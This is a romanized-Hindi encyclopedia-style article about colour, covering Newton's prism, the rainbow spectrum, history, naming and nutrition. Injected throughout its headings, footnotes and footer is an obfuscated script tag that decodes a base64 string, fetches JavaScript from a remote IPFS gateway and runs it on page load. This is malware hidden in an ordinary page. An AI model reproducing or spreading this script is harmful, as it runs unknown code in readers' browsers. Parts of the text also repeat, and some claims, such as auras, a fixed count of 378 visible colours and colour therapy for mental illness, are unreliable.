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rang [shuddh: ranh‌g] athava varn (aangrezi:- Color athava Colour) ka hamare jivan mean bahut mahattv hai. rangoan se hamean vibhinn sthitiyoan ka pata chalata hai. ham apane charoan taraph anek prakar ke rangoan se prabhavit hote haian. rang, manavi aankhoan ke varnakram se milane par chhaya sambandhi gatividhiyoan se utpann hote haian. mool roop se iandradhanush ke sat rangoan ko hi rangoan ka janak mana jata hai, ye sat rang lal, narangi, pila, hara, asamani, nila tatha baiangani haian. manavi gunadharm ke abhasi bodh ke anusar lal, nila v hara rang hota hai. rang se vibhinn prakar ki shreniyaan evan bhautik vinirdesh vastu, prakash srot ityadi ke bhautik gunadharm jaise prakash vilayan, samaveshan, paravartan ju de hote haian.

rang kya hai

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rang kya hai? is vishay par vaijnanikoan tatha darshanikoan ki jijnasa bahut samay se rahi hai, parantu isaka vyavasthit adhyayan sarvapratham nyootan ne kiya. yah bahut kal se jnat tha ki safed prakash kaanch ke prizm se dekhane par rangin dikhaee deta hai. nyootan ne is par tatkalin vaijnanik yatharthata ke sath prayog kiya. ek aandhare kamare mean chhote se chhed dvara soory ka prakash ata tha. yah prakash ke ek prizm kaanch dvara apavartit hokar safed parde par p data tha. parde par safed prakash ke sthan par iandradhanush ke sat rang dikhaee die. ye rang kram se lal, narangi, pila, hara, asamani, nila tatha baiangani haian. jab nyootan ne prakash ke marg mean ek aur prizm pahale vale prizm se ulta rakha, to in satoan rangoan ka prakash milakar pun: safed rang prakash ban gaya.

mukhy srot

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rangoan ki utpatti ka sabase prakritik srot soory ka prakash hai. soory ke prakash se vibhinn prakar ke rangoan ki utpatti hoti hai. prizm ki sahayata se dekhane par pata chalata hai ki soory sat rang grahan karata hai jise sookshm roop ya aangrezi bhasha mean VIBGYOR aur hindi mean "baian ja ni h pi na la" kaha jata hai. ise "baian ni a h pi na la" bhi kahate haian (yahaan 'a' asamani ke lie hai) jo is prakar haian:-

baiangani (violet), jamuni (indigo), nila (blue), hara (green), pila (yellow), narangi (orange), lal (red)

itihas

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rang hazaroan varshoan se hamare jivan mean apani jagah banae hue haian. prachinakal se hi rang kala mean bharat ka vishesh yogadan raha hai. mugal kal mean bharat mean rang kala ko atyadhik mahattv mila. yahaan tak ki kee naye-naye rangoan ka avishkar bhi hua. isase aisa abhas hota hai ki rangoan ke upalabdh kathin paribhashik namoan ke atirikt bharatiy bhashaoan mean unake sugam nam bhi vidyaman rahe hoange. yahaan ajakal kritrim rangoan ka upayog zoroan par hai vahian praranbh mean log prakritik rangoan ko hi upayog mean late the. ullekhaniy hai ki mohanajod do aur h dappa ki khudaee mean siandhu ghati sabhyata ki jo chizean milian unamean aise bartan aur moortiyaan bhi thian, jin par rangaee ki gee thi. unamean ek lal rang ke kap de ka tuk da bhi mila. visheshajnoan ke anusar is par majith ya majishh‍tha ki j d se taiyar kiya gaya rang chadhaya gaya tha. [[chitr:Rainbow.jpg|thumb|250px|left|iandradhanush
Rainbow]]

vaijnanik pahaloo

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lohe ka ek tuk da jab dhire-dhire garam kiya jata hai tab usamean rang ke nimn parivartan dikhaee dete haian. pahale to vah kala dikhaee p data hai, phir usaka rang lal hone lagata hai. yadi usaka tap badhate jaean to usaka rang kramash: narangi, pila ityadi hota hua safed ho jata hai. jab loha kam garam hota hai. tab usamean se keval lal prakash hi nikalata hai. jaise-jaise loha adhik garam kiya jata hai vaise-vaise usamean se any rangoan ka prakash bhi nikalane lagata hai. jaise-jaise loha adhik garam kiya jata hai vaise-vaise usamean se any rangoan ka prakash bhi nikalane lagata hai. jab vah itana garam ho jata hai ki usamean se spektram ke sabhi rangoan ka prakash nikalane lage tab unake sammilit prabhav se safed rang dikhaee deta hai.

rangoan ka namakaran

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

har sabhyata ne rang ko apane lihaz se gadha hai lekin ittephak se kisi ne bhi zyada rangoan ka namakaran nahian kiya. zyadatar bhashaoan mean rangoan ko do hi tarah se baanta gaya hai. pahala safed yani halka aur doosara kala yani chatak aandaz lie hue.

  • arastu ne chauthi shatabdi ke eesapoorv mean nile aur pile ki ginati praranbhik rangoan mean ki. isaki tulana prakritik chizoan se ki gee jaise sooraj-chaand, stri-purush, phailana-siku dana, din-rat, adi. yah taqariban do hazar varshoan tak prabhavi raha.

rangoan ke prakar

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rangoan ko tin bhagoan mean vibhajit kiya ja sakata hai-

  • prathamik rang ya mool rang
  • dvitiyak rang
  • virodhi rang

rangoan ka mahattv

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rangoan ko dekhakar hi ham sthiti ke bare mean pata lagate haian. iandradhanush ke rangoan ki chhata hamare man ko bahut akarshit karata hai. ham rangoan ke bina apane jivan ki kalpana bhi nahian kar sakate haian. rangoan ke bina hamara jivan thik vaisa hi hai, jaise pran bina sharir. balyavastha mean bachche rangoan ki sahayata se hi vastuoan ko pahachanata hai. yuvak rangoan ke madhyam se hi sansar ka sarjan karata hai. vriddh ki kamazor aankhean rangoan ki sahayata se vastuoan ka nam prapt karati hai.

"prakriti ki sundarata avarnaniy hai aur isaki sundarata mean char chaand lagate hai ye rang. soory ki lalima ho ya khetoan ki hariyali, asaman ka nilapan ya meghoan ka kalapan, barish ke bad mean bikharati indradhanush ki anokhi chhata, barf ki safedi aur na jane kitane hi khoobasoorat nazare jo hamare aantarang atma ko praphullit karata hai. is anand ka raj hai rangoan ki anubhooti. manav jivan rangoan ke bina udas aur soona hai. mukhyat: sat rangoan ki is srishti mean har ek rang hamare jivan par asar chho data hai. koee rang hamean uttejit karata hai to koee rang pyar ke liye prerit karata hai.

rangoan ka prabhav

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chitr:Blockquote-open.gif prakriti ki sundarata avarnaniy hai aur isaki sundarata mean char chaand lagate hai ye rang. soory ki lalima ho ya khetoan ki hariyali, asaman ka nilapan ya meghoan ka kalapan, barish ke bad mean bikharati indradhanush ki anokhi chhata, barf ki safedi aur na jane kitane hi khoobasoorat nazare jo hamare aantarang atma ko praphullit karata hai. is anand ka raj hai rangoan ki anubhooti. manav jivan rangoan ke bina udas aur soona hai. mukhyat: sat rangoan ki is srishti mean har ek rang hamare jivan par asar chho data hai. koee rang hamean uttejit karata hai to koee rang pyar ke liye prerit karata hai. kuchh rang hamean shaanti ka ehasas karate haian to kuchh rang matam ka pratik hai. doosare shabdoan mean kah sakate hai ki hamare jivan par rang ka bahut asar hai. har ek rang alag-alag iansan ko alag-alag tarike se andolit karata hai...[1] chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ham hamesha se dekhate ae haian ki devi-devataoan ke chitr mean unake mukh mandal ke pichhe ek abhamandal bana hota hai. yah abha mandal har jivit vyakti, pe d-paudhe adi mean nihit hota haian. is abhamandal ko kiraliyan fotographi se dekha bhi ja sakata haian. yah abhamandal sharir se 2" se 4" ianch ki doori par dikhaee deta hai. isase pata chalata hai ki hamara sharir rangoan se bhara hai. hamare sharir par rangoan ka prabhav bahut hi sookshm prakriya se hota haian. sabase upayogi soory ka prakash hai. isake atirikt hamara rangoan se bhara ahar, ghar ya kamaroan ke rang, kap de ke rang adi bhi sharir ki oorja par prabhav dalate haian. ilaj ki ek paddhati 'rang chiktisa' bhi rang par adharit hai. manorog sanbandhi mamaloan mean bhi is chikitsa paddhati ka anukool prabhav dekha gaya hai. soory ki kiranoan se hamean sat rang milate haian. inhian sat rangoan ke mishran se lakhoan rang banae ja sakate haian. vibhinn rangoan ke mishran se das lakh tak rang banae ja sakate haian lekin sookshmata se 378 rang hi dekhe ja sakate haian. har rang ki garm aur thandi tasir hoti hai.

khady rang aur poshan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hamean apane bhojan mean alag-alag rangoan vale phal aur sabziyoan ko shamil karana chahie. hamare pratidin ke khane mean phal aur sabziyoan ka bahut mahattvapoorn yogadan hai. ye khady padarth utkrisht hriday rog aur aghat ko rokane mean sahayak haian. ye khady padarth raktachap, kaiansar, motiyabiand aur drishti hani jaisi bimariyoan se sharir ki raksha karate haian.[2] rang birange phaloan aur sabziyoan se hamare sharir ko aise bahut se vitamin, khanij aur phaitokaimikal milate haian. jinase hamari achchhi sehat aur oorja ka badhiya star bana rahata hai aur bimariyaan bhi nahian hoti. ye chizean badhati umr ke prabhav ko kam karate haian. ye hamari kee bimariyoan se raksha karate haian. udaharan ke lie kaiansar, uchch raktachap aur dil ki bimariyaan adi. phaloan aur sabjiyoan mean potaishiyam ki kafi matra hoti hai jisase raktachap ka bura prabhav kam hota hai, gurde mean pathari hone ka jokhim ghat jata hai aur inase haddiyoan ke hvas mean bhi kami ati hai.[3]


age jaean »


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. devi, rekha. ap aur apaka shubh rang (ech ti em el) aank aur ap. abhigaman tithi: 21 julaee, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. khady rang aur poshan (hindi) laif mojo. abhigaman tithi: 19 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. apaki plet mean maujood iandradhanush (hindi) helthi iandiya. abhigaman tithi: 19 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>